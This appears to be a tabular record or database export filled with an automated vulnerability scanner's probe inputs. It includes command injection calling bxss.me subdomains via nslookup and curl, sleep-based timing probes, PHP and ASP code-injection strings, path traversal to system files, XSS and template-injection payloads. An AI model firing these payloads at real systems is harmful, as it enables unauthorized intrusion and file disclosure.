1	1	1	1	ncMUFCMU	1	"|echo fynoji$()\ ycbxst\nz^xyu||a #' |echo fynoji$()\ ycbxst\nz^xyu||a #|"" |echo fynoji$()\ ycbxst\nz^xyu||a #"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	expr 9000184528 - 973233	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(nslookup -q=cname hitudbryyphob25b8c.bxss.me||curl hitudbryyphob25b8c.bxss.me))	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	$(nslookup -q=cname hitfjtllxrszj4fc51.bxss.me||curl hitfjtllxrszj4fc51.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup -q=cname hitieqcstmmeb66ced.bxss.me||curl hitieqcstmmeb66ced.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""&&sleep(27*1000)*copirn&&"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	c:/windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://bxss.me/t/fit.txt%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	!(()&&!|*|*|	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	^(#$!@#$)(()))******	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(nslookup -q=cname hiteghrdfwtqe965c8.bxss.me||curl hiteghrdfwtqe965c8.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	$(nslookup -q=cname hitfhnoaauwdf82d3f.bxss.me||curl hitfhnoaauwdf82d3f.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup -q=cname hitkdtyrljteadab43.bxss.me||curl hitkdtyrljteadab43.bxss.me)&'\""`0&(nslookup -q=cname hitkdtyrljteadab43.bxss.me||curl hitkdtyrljteadab43.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'&&sleep(27*1000)*ukdtvn&&'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	`(nslookup -q=cname hitufbiemdqpt765d7.bxss.me||curl hitufbiemdqpt765d7.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||sleep(27*1000)*sfuslf||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hiteouizwvohz10fe2.bxss.me||curl${IFS}hiteouizwvohz10fe2.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1NQHA3INA0	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	http://bxss.me/t/fit.txt%3F.jpg	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9308252*9411510)+'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	1BG3PAIARV0	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'&&sleep(27*1000)*fkncsp&&'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""&&sleep(27*1000)*srwjeb&&"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||sleep(27*1000)*mkkehq||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	<!--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9308252*9411510)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'+response.write(9845930*9557193)+'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+response.write(9845930*9557193)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9247812*9486549)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9247812*9486549)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9566329*9510887)+'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	19166022	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	XbB9UE3n	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	epZxZlgd: mgmNHS8y	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	response.write(9932245*9853154)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'+response.write(9932245*9853154)+'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+response.write(9932245*9853154)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	SjE5iH1P	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	response.write(9633185*9773435)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'+response.write(9633185*9773435)+'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"""+response.write(9633185*9773435)+"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	kucpOfon	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	u9onbJkM: WXbzaM5H	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"|echo uzduvd$()\ kvayyc\nz^xyu||a #' |echo uzduvd$()\ kvayyc\nz^xyu||a #|"" |echo uzduvd$()\ kvayyc\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'+response.write(9708175*9748286)+'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup -q=cname hitwozpexyqxyb8f67.bxss.me||curl hitwozpexyqxyb8f67.bxss.me)&'\""`0&(nslookup -q=cname hitwozpexyqxyb8f67.bxss.me||curl hitwozpexyqxyb8f67.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	TnnivpJK: PlQOXwPL	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+response.write(9319826*9309551)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;(nslookup -q=cname hitpvmykrenhg08d0c.bxss.me||curl hitpvmykrenhg08d0c.bxss.me)|(nslookup -q=cname hitpvmykrenhg08d0c.bxss.me||curl hitpvmykrenhg08d0c.bxss.me)&(nslookup -q=cname hitpvmykrenhg08d0c.bxss.me||curl hitpvmykrenhg08d0c.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup${IFS}-q${IFS}cname${IFS}hituvpciwvtii0028b.bxss.me||curl${IFS}hituvpciwvtii0028b.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'+response.write(9637153*9931882)+'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||sleep(27*1000)*vbjktx||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'""()"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	19398015	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'&&sleep(27*1000)*rwcloa&&'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*cjymbd&&"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*liqxeu||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	<!--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*mljvlj||"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'&&sleep(27*1000)*xlasgd&&'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""&&sleep(27*1000)*xnksye&&"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||sleep(27*1000)*eivbsf||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""||sleep(27*1000)*opwtuy||"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	<!--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	response.write(9845930*9557193)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	c:/windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	19168036	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'+response.write(9247812*9486549)+'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9566329*9510887)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9566329*9510887)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	XbD4Whd4: CjWk68qL	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"echo kfmejn$()\ tvjxnm\nz^xyu||a #' &echo kfmejn$()\ tvjxnm\nz^xyu||a #|"" &echo kfmejn$()\ tvjxnm\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&echo dtsbal$()\ oaznmg\nz^xyu||a #' &echo dtsbal$()\ oaznmg\nz^xyu||a #|"" &echo dtsbal$()\ oaznmg\nz^xyu||a #"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	expr 9000256525 - 981231	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	response.write(9708175*9748286)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(nslookup -q=cname hitqivtoewwayb3769.bxss.me||curl hitqivtoewwayb3769.bxss.me))	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	$(nslookup -q=cname hiteavspkhpwme47c6.bxss.me||curl hiteavspkhpwme47c6.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"""+response.write(9708175*9748286)+"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&nslookup -q=cname hitvodevvygpw0323b.bxss.me&'\""`0&nslookup -q=cname hitvodevvygpw0323b.bxss.me&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	response.write(9319826*9309551)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	kPHrGr05	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	19290767	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'+response.write(9319826*9309551)+'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup -q=cname hitthjftbvfsma3d86.bxss.me||curl hitthjftbvfsma3d86.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	`(nslookup -q=cname hitcywlingnuz5dc2b.bxss.me||curl hitcywlingnuz5dc2b.bxss.me)`	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup${IFS}-q${IFS}cname${IFS}hitoffzdsjggg4f83d.bxss.me||curl${IFS}hitoffzdsjggg4f83d.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoffzdsjggg4f83d.bxss.me||curl${IFS}hitoffzdsjggg4f83d.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	response.write(9637153*9931882)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	ZQoDPK50	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	osn8i2Hy	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	e1JRsaR1	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	XwRXoGTv: 4kNQcplO	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	amY1zwGw	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()&%<zzz><ScRiPt >YcIQ(9042)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bfg6393%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6393	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bfgx9063%C0%BEz1%C0%BCz2a%90bcxhjl9063	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"<th:t=""${dfb}#foreach"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	file:///etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	dfb{{98991*97996}}xca	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
